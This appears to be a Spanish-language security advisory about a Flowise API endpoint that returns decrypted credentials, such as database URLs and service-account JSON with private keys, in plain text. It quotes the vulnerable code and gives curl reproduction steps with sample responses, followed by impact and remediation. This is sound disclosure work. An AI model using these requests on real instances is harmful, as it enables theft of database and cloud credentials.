Resumen

El endpoint GET /api/v1/credentials/:id de Flowise descifra los datos de credenciales almacenados y los devuelve en el campo plainDataObj de la respuesta de la API. Aunque existe una función redactCredentialWithPasswordType() que enmascara los campos definidos con type: 'password' en el esquema del componente, muchos tipos de credenciales almacenan datos altamente sensibles (URLs de conexión a bases de datos con contraseñas embebidas, JSON de cuentas de servicio de Google con claves privadas RSA, claves de acceso de AWS) en campos definidos como type: 'string'. Estos campos de tipo string se devuelven en texto plano completo sin ninguna redacción.

Cualquier usuario autenticado con el permiso credentials:view puede recuperar los secretos en bruto de cualquier credencial en su workspace llamando a este endpoint.

Código vulnerable

Capa de servicio

packages/server/src/services/credentials/index.ts, función getCredentialById() (línea 127):

En la línea 138, los datos cifrados de la credencial se descifran:

typescript
const decryptedCredentialData = await decryptCredentialData(
    credential.encryptedData,
    credential.credentialName,
    appServer.nodesPool.componentCredentials
)

En las líneas 143-146, los datos descifrados se adjuntan a la respuesta como plainDataObj:

typescript
const returnCredential: ICredentialReturnResponse = {
    ...credential,
    plainDataObj: decryptedCredentialData    // <-- secretos descifrados en la respuesta
}

En la línea 147, solo se elimina encryptedData, dejando plainDataObj intacto:

typescript
const dbResponse: any = omit(returnCredential, ['encryptedData'])

Redacción incompleta

packages/server/src/utils/index.ts, función redactCredentialWithPasswordType() (línea 1697):

typescript
export const redactCredentialWithPasswordType = (
    componentCredentialName: string,
    decryptedCredentialObj: ICredentialDataDecrypted,
    componentCredentials: IComponentCredentials
): ICredentialDataDecrypted => {
    const plainDataObj = cloneDeep(decryptedCredentialObj)
    for (const cred in plainDataObj) {
        const inputParam = componentCredentials[componentCredentialName].inputs?.find(
            (inp) => inp.type === 'password' && inp.name === cred  // <-- solo tipo 'password'
        )
        if (inputParam) {
            plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE
        }
    }
    return plainDataObj
}

Esta función únicamente redacta los campos donde inp.type === 'password'. Los campos con type: 'string' se devuelven literalmente, incluso cuando contienen secretos.

Definiciones de credenciales que almacenan secretos en campos de tipo string

CredencialCampoTipoContiene
mongoDBUrlApimongoDBConnectUrlstringmongodb+srv://user:password@host/db
googleVertexAuthgoogleApplicationCredentialstringJSON completo de cuenta de servicio con clave privada RSA
postgresUrlpostgresUrlstringpostgresql://user:password@host/db
redisCacheUrlApiredisUrlstringredis://user:password@host:port
awsApiawsKeystringAWS Access Key ID
langfuseApilangFusePublicKeystringClave pública de API de Langfuse
httpBasicAuthbasicAuthUsernamestringNombre de usuario de HTTP Basic Auth

Existen más de 60 definiciones de credenciales en packages/components/credentials/, muchas con campos de tipo string que contienen información sensible.

Prueba de concepto

Entorno

  • Flowise v3.0.13 (imagen Docker flowiseai/flowise:latest)
  • Autenticado como usuario administrador mediante autenticación enterprise

Pasos para reproducir

  1. Iniciar Flowise e iniciar sesión como cualquier usuario con el permiso credentials:view.
  2. Crear una credencial de MongoDB con una URL de conexión que contenga credenciales embebidas:
bash
curl -X POST "http://TARGET:3000/api/v1/credentials" \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<jwt-token>" \
  -d '{
    "name": "MongoDB Production",
    "credentialName": "mongoDBUrlApi",
    "plainDataObj": {
      "mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb"
    }
  }'
  1. Recuperar la credencial por ID:
bash
curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<jwt-token>"

Resultado observado

La API devuelve la URL de conexión de MongoDB en texto plano completo, incluyendo la contraseña embebida:

json
{
  "id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab",
  "name": "MongoDB Production",
  "credentialName": "mongoDBUrlApi",
  "createdDate": "2026-02-07T17:35:29.000Z",
  "updatedDate": "2026-02-07T17:35:29.000Z",
  "plainDataObj": {
    "mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb"
  }
}

La misma prueba con una credencial de Google Vertex Auth devolvió el JSON completo de la cuenta de servicio incluyendo la clave privada RSA en texto plano:

json
{
  "id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56",
  "name": "Google Vertex Auth",
  "credentialName": "googleVertexAuth",
  "plainDataObj": {
    "googleApplicationCredential": "{\"type\":\"service_account\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"client_email\":\"mybot@my-project-123.iam.gserviceaccount.com\"}",
    "projectID": "my-project-123"
  }
}

A modo de comparación, una clave de API de OpenAI (donde el campo está tipado como password) fue correctamente redactada:

json
{
  "plainDataObj": {
    "openAIApiKey": "_FLOWISE_BLANK_07167752-1a71-43b1-"
  }
}

Esto confirma que la redacción solo se aplica a los campos de tipo password, dejando los campos de tipo string completamente expuestos.

Impacto

  • Robo de credenciales de bases de datos: las URLs de conexión de MongoDB, PostgreSQL, Redis y MySQL con contraseñas embebidas se devuelven en texto plano completo. Un atacante puede utilizarlas para acceder directamente a bases de datos de producción.
  • Compromiso de cuentas de servicio en la nube: el JSON de cuentas de servicio de Google con claves privadas RSA se devuelve en texto plano, permitiendo la suplantación completa de la cuenta de servicio en todo Google Cloud.
  • Exposición de claves AWS: los AWS Access Key IDs almacenados en campos de tipo string quedan expuestos, permitiendo la enumeración de credenciales AWS activas.
  • Movimiento lateral: las credenciales robadas permiten pivotar desde la instancia de Flowise hacia servicios cloud conectados, bases de datos y APIs.
  • Riesgo en workspaces multiusuario: en despliegues con múltiples usuarios, cualquier usuario con el permiso credentials:view puede extraer todas las credenciales del workspace a través de la API.

Remediación

  1. Aplicar redactCredentialWithPasswordType() a todos los campos de credenciales sensibles, no solo a los tipados como password. Cualquier campo que contenga secretos (cadenas de conexión, credenciales JSON, claves de acceso) debe ser redactado.
  2. Considerar no devolver nunca plainDataObj en las respuestas de la API. La interfaz de usuario debería utilizar vistas previas enmascaradas (por ejemplo, mongodb+srv://admin:****@cluster0...) en lugar de valores completos.
  3. Retipar los campos de credenciales sensibles de string a password en las definiciones de componentes de credenciales, para garantizar que queden cubiertos por la lógica de redacción existente.
  4. Añadir un indicador separado secret: true a las definiciones de campos de credenciales para marcar explícitamente los campos sensibles independientemente de su tipo de entrada.